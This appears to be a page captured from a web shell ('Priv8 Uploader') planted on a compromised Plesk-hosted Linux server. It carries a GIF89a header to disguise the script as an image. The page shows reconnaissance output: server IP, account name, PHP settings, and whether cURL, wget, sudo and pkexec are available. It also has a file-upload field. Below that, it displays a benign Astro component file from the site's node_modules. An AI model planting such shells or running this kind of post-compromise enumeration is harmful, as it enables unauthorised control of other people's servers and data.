GIF89a;
GIF89a;Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
| Server IP : 82.165.91.112 / Your IP : 216.73.216.249 Web Server : Apache System : Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64 User : nr7.net_tfpqq467gv ( 10001) PHP Version : 8.4.25 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/nr7.net/emdash.nr7.net/node_modules/emdash/src/components/ |
Upload File : |
---
/**
* EmDash Portable Text wrapper
*
* Pre-configured with EmDash's built-in components for images, code blocks,
* embeds, galleries, tables, etc.
*
* In edit mode, renders a TipTap-based inline editor instead of static HTML.
* The edit metadata is detected automatically from the value — no extra props needed.
*
* Plugin block rendering components are auto-merged from plugins that declare
* a `componentsEntry`. Plugin components are merged between EmDash defaults
* and user overrides, so users can still override individual block types.
*/
import {
PortableText as BasePortableText,
mergeComponents,
type PortableTextProps,
} from "astro-portabletext";
import { getEditMeta } from "../query.js";
// @ts-ignore - virtual module
import { pluginBlockComponents } from "virtual:emdash/block-components";
import { emdashComponents } from "./index.js";
import InlineEditor from "./InlineEditor.astro";
export interface Props extends Omit<PortableTextProps, "value"> {
value: PortableTextProps["value"];
}
const { value, components: userComponents, ...rest } = Astro.props;
// Check for edit metadata (attached as non-enumerable property by query functions)
const editMeta = getEditMeta(value);
// Merge: EmDash defaults < Plugin block components < User components
const withPlugins = mergeComponents(emdashComponents, { type: pluginBlockComponents });
const mergedComponents = userComponents
? mergeComponents(withPlugins, userComponents)
: withPlugins;
---
{editMeta ? (
<InlineEditor
value={value}
collection={editMeta.collection}
entryId={editMeta.id}
field={editMeta.field}
/>
) : (
<BasePortableText value={value} components={mergedComponents} {...rest} />
)}